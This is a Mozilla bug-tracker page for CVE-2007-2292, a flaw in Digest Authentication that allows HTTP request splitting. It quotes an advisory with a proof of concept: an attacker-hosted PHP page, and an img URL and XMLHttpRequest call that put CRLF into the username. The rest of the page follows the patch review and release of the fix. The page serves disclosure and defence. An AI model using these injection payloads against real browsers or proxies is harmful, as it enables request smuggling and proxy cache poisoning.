Closed Bug 378787 (CVE-2007-2292) Opened 18 years ago Closed 18 years ago

IE 7 and Firefox Browsers Digest Authentication Request Splitting

Categories

(Core :: Networking: HTTP, defect)

Product:
Core
Component:
Networking: HTTP
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla1.9alpha5

People

(Reporter: chofmann, Assigned: sayrer)

References

(
URL
)

Details

(Keywords: fixed1.8.0.15, fixed1.8.1.8, Whiteboard: [sg:high] need branch patch)

Attachments

(2 files, 5 obsolete files)

patch to check in, with brendan's comment
13.01 KB, patch
Details | Diff | Splinter Review
branch patch
5.13 KB, patch
dveditz
: approval1.8.1.8+
asac
: approval1.8.0.next+
Details | Diff | Splinter Review
reported at the URL listed and mail to websecurity@webappsec.org by stefano.dipaola@wisec.it Title: IE 7 and Firefox Browsers Digest Authentication Original Discovery and Research: Stefano Di Paola Vulnerable: Internet Explorer 7.0.5730.11 Mozilla Firefox 2.0.0.3 Severity: Medium Vendor : http://www.microsoft.com/ http://www.mozilla.com/ Type of Vulnerability: HTTP Request Splitting Tested On : Firefox 2.0.0.3 under Windows XP SP2, Firefox 2.0.0.3 under Ubuntu 6.06, Internet Explorer SP2 under Windows XP SP2. Discovery Date : 20070213 Release Date : 20070425 I) Short description Firefox and Internet Explorer are prone to Http Request Splitting when Digest Authentication occurs. If anyone wants to know about HTTP Request Splitting, HTTP Request Splitting attacks are described in various papers and advisories: 1. http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf 2. http://www.webappsec.org/lists/websecurity/archive/2006-07/msg00069.html 3. http://download2.rapid7.com/r7-0026/ 4. http://www.wisec.it/docs.php?id=4 (PDF, About Auto Injection with Req.Split.) II) Long description As explained in Rfc2617 (http://www.ietf.org/rfc/rfc2617.txt) Digest Authentication is a more secure way to exchange user credentials. Rfc uses the following example: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8< The first time the client requests the document, no Authorization header is sent, so the server responds with: HTTP/1.1 401 Unauthorized WWW-Authenticate: Digest realm="testrealm@host.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41" The client may prompt the user for the username and password, after which it will respond with a new request, including the following Authorization header: Authorization: Digest username="Mufasa", realm="testrealm@host.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/dir/index.html", qop=auth, nc=00000001, cnonce="0a4f113b", response="6629fae49393a05397450978507c4ef1", opaque="5ccc069c403ebaf9f0171e9517f40e41" --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8< So there's a response by the client (browser) with username in clear. There are two ways to send credentials in html/javascript: XMLHttpRequest("GET","page",async, "user","pass"); And with img/iframes or related: <img src="http://user:pass@host/page"> But what if the username contains \r\n or urlencoded %0d%0a? Let's use an Evil page like this: --8<-- http://evilhost/req.php --8<--8<--8<--8<--8<--8<--8< <?php header('Set-Cookie: PHPSESSID=6555'); if((int)intval($_COOKIE['PHPSESSID']) !== 6555){ header('HTTP/1.0 401 Authorization Required"); header('WWW-Authenticate: Digest realm="1@example.com", \ qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",\ opaque="5ccc069c403ebaf9f0171e9517f40e41"'); header('Proxy-Connection: keep-alive'); } else { // header("Set-Cookie: PHPSESSID=0"); } header('Connection: keep-alive'); ?> <html><head> <meta http-equiv='Connection' content="keep-alive"></head> <body><script> // Some Printing in order to show document DOM properties // in the poisoned page for(var i in document) document.write(i+' '+eval('document.'+i)+'<br>'); </script> </body> </html> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8< Which asks for a digest authentication only once. III) Direct URL Authentication Let's try it with Firefox: <img src="http://user%0aname:pp@evilhost/req.php"> Let's see what happens after the first request: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8< HTTP/1.1 401 Authorization Required Set-Cookie: PHPSESSID=6555 WWW-Authenticate: Digest realm="1@example.com", qop="auth,auth-int",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41" Proxy-Connection: keep-alive Connection: keep-alive, Keep-Alive Content-Length: 146 Keep-Alive: timeout=15, max=100 Content-Type: text/html; charset=UTF-8 ... --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8< and then Firefox resend its request: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8< GET /req.php HTTP/1.1 Host: at.tack.er User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) Keep-Alive: 300 Connection: keep-alive Authorization: Digest username="user name", realm="1@example.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/req.php", response="e398c5c7583b4ca115978c486bb766f8", opaque="5ccc069c403ebaf9f0171e9517f40e41", qop=auth, nc=00000001, cnonce="58e1c23271698745" Cookie: PHPSESSID=6555 --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8< Everyone can see there's a splitting where the %0a was. The rest of the story is straightforward, an attacker could inject a second request, and in presence of a proxy (about 2 million people use it), a request splitting attack could be accomplished. IV) Firefox Add-On A redirection could be used: <img src="http://evilhost/redir.php"> With redir.php : <?php header("Location: http://user%0aname:ds@avilhost/req.php"); ?> Or by using various redirectors around the web. Note: Internet Explorer 7 is not vulnerable with imgs nor with other direct requests. V) XMLHttpRequest Authentication IE 7 and Firefox are both vulnerable. Let's use a standard request with XMLHttpRequest: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- x=new XMLHttpRequest(); x.open("POST","req.php?",false,"user\r\nname","pass"); x.setRequestHeader("Proxy-Connection","keep-alive"); x.onreadystatechange=function (){ if (x.readyState == 4){ } } // The payload with a request to a page with evil content x.send("RequestPayload"); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- This will result in a similar splitting like the one with images tags. What you could do with these splittings? A lot, for example in the presence of a proxy the local proxy cache could be poisoned. The previous references details this and other attacks. Note: there is some difference between IE and Firefox, but it'll be left as an exercise for the reader.
Assignee: nobody → dveditz
Attached patch disallow control characters (obsolete) — — Splinter Review
Comment on attachment 262903 [details] [diff] [review] disallow control characters the spec claims that these fields can allow control characters through backslash escaping. I am skeptical, and Apache sent me a 400 Bad Request error when I tried it. I think we should just disallow them, since all the guides on implementing this stuff tell you to avoid them and our current behavior is definitely incorrect.
Attachment #262903 - Flags: review?(cbiesinger)
Comment on attachment 262903 [details] [diff] [review] disallow control characters - I'd change the semantics of QuotedString so that it appends the quoted string to the second argument (and change the name to AppendQuotedString), in an attempt to make the caller's code more readable + rv =QuotedString(realm, quotedString); missing space after = here + authString.AppendLiteral("\""); .Append('"') + rv =QuotedString(cnonce, quotedString); missing space here again + const nsAFlatCString& param = PromiseFlatCString(value); doesn't look like you need PromiseFlatCString here + quoted.AppendLiteral("\""); .Append('"') need some testcases too :-)
Attachment #262903 - Flags: review?(cbiesinger) → review-
Attached patch disallow control characters, v2 (obsolete) — — Splinter Review
tests coming up
Assignee: dveditz → sayrer
Attachment #262903 - Attachment is obsolete: true
Status: NEW → ASSIGNED
Attached patch patch with tests (obsolete) — — Splinter Review
practice what you preach
Attachment #263023 - Attachment is obsolete: true
Attached patch fix nits (obsolete) — — Splinter Review
Attachment #263132 - Attachment is obsolete: true
Attachment #263134 - Flags: review?(cbiesinger)
Comment on attachment 263134 [details] [diff] [review] fix nits + listener.expectedCode = 401; // OK 401 is not OK :) + Components.classes["@mozilla.org/intl/scriptableunicodeconverter"]. + createInstance(Components.interfaces.nsIScriptableUnicodeConverter); style here is: + Components.classes["@mozilla.org/intl/scriptableunicodeconverter"] + .createInstance(Components.interfaces.nsIScriptableUnicodeConverter); (also for the nsICryptoHash case) Don't you need to send WWW-Authenticate even if the client sends Authorization? See RFC 2616 10.4.2 + listener.shouldThrow = true; + listener.shouldThrow = true; Hm, I don't see this used anywhere?
Attachment #263134 - Flags: review?(cbiesinger) → review+
Component: Security → Networking: HTTP
OS: Windows XP → All
Product: Firefox → Core
QA Contact: firefox → networking.http
Hardware: PC → All
Attached patch address biesi's comments (obsolete) — — Splinter Review
Attachment #263134 - Attachment is obsolete: true
Attachment #263151 - Flags: superreview?(brendan)
Comment on attachment 263151 [details] [diff] [review] address biesi's comments >+ //XXX We should RFC2047-encode non-Latin-1 values according to spec Better than XXX, Nat Friedman advocates FIXME: bug number, after filing that followup bug. sr=me with that. /be
Attachment #263151 - Flags: superreview?(brendan) → superreview+
The comment now includes a reference to the i18n train wreck known as bug 41489.
Attachment #263151 - Attachment is obsolete: true
Checking in protocol/http/src/nsHttpDigestAuth.cpp; /cvsroot/mozilla/netwerk/protocol/http/src/nsHttpDigestAuth.cpp,v <-- nsHttpDigestAuth.cpp new revision: 1.28; previous revision: 1.27 done Checking in protocol/http/src/nsHttpDigestAuth.h; /cvsroot/mozilla/netwerk/protocol/http/src/nsHttpDigestAuth.h,v <-- nsHttpDigestAuth.h new revision: 1.9; previous revision: 1.8 done Checking in test/unit/test_authentication.js; /cvsroot/mozilla/netwerk/test/unit/test_authentication.js,v <-- test_authentication.js new revision: 1.9; previous revision: 1.8 done
Status: ASSIGNED → RESOLVED
Closed: 18 years ago
Flags: blocking1.8.1.5?
Flags: blocking1.8.0.13?
Resolution: --- → FIXED
Target Milestone: --- → mozilla1.9alpha5
requesting blocking on these so they don't slip through the cracks
There are Web compat hazards here--a branch patch might need to limit the banned characters to CR. I would add LF to that list, but I fear that people might actually get by with a bare LF today. :/
what would be the best way to test/get a handle on the extent of the compatibility problems?
Depends on: 379883
(In reply to comment #14) > what would be the best way to test/get a handle on the extent of the > compatibility problems? > I don't think there is a way to observe it, unfortunately. We haven't had any reports of broken credentials on trunk, though. http://lists.w3.org/Archives/Public/ietf-http-wg/2007AprJun/0024.html makes the recommendation to disallow CR, LF, and NUL... but I don't see why we should allow any control characters here. I will ask them.
(In reply to comment #15) > I will ask them. No one came forward to state that they rely on escaped control characters here, and the Squid maintainer claimed no one accepted them anyway. I think we should take this on the branch.
Flags: blocking1.8.1.5?
Flags: blocking1.8.1.5+
Flags: blocking1.8.0.13?
Flags: blocking1.8.0.13+
Do we need a separate branch patch for this, or can it go in as-is?
Whiteboard: need branch patch
Whiteboard: need branch patch → [sg:high] need branch patch
(In reply to comment #17) > Do we need a separate branch patch for this, or can it go in as-is? > I'm not sure. I'll have to try making one and see.
tree closing early for 1.8.1.5, moving unfinished branch bugs to next release.
Flags: blocking1.8.1.5+ → blocking1.8.1.6+
Flags: blocking1.8.0.13+ → blocking1.8.0.14+
Attached patch branch patch — — Splinter Review
almost applied cleanly to the branch: .h file context was a bit different, .cpp was fine.
Attachment #283298 - Flags: approval1.8.1.8?
Attachment #283298 - Attachment is patch: true
Attachment #283298 - Attachment mime type: application/octet-stream → text/plain
Comment on attachment 283298 [details] [diff] [review] branch patch approved for 1.8.1.8, a=dveditz
Attachment #283298 - Flags: approval1.8.1.8? → approval1.8.1.8+
Keywords: fixed1.8.1
Alias: CVE-2007-2292
Flags: blocking1.8.0.14+ → blocking1.8.0.15?
Flags: blocking1.8.0.15? → blocking1.8.0.15+
Comment on attachment 283298 [details] [diff] [review] branch patch a=asac for 1.8.0.15 (same as shipped by distros for some time)
Attachment #283298 - Flags: approval1.8.0.15+
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: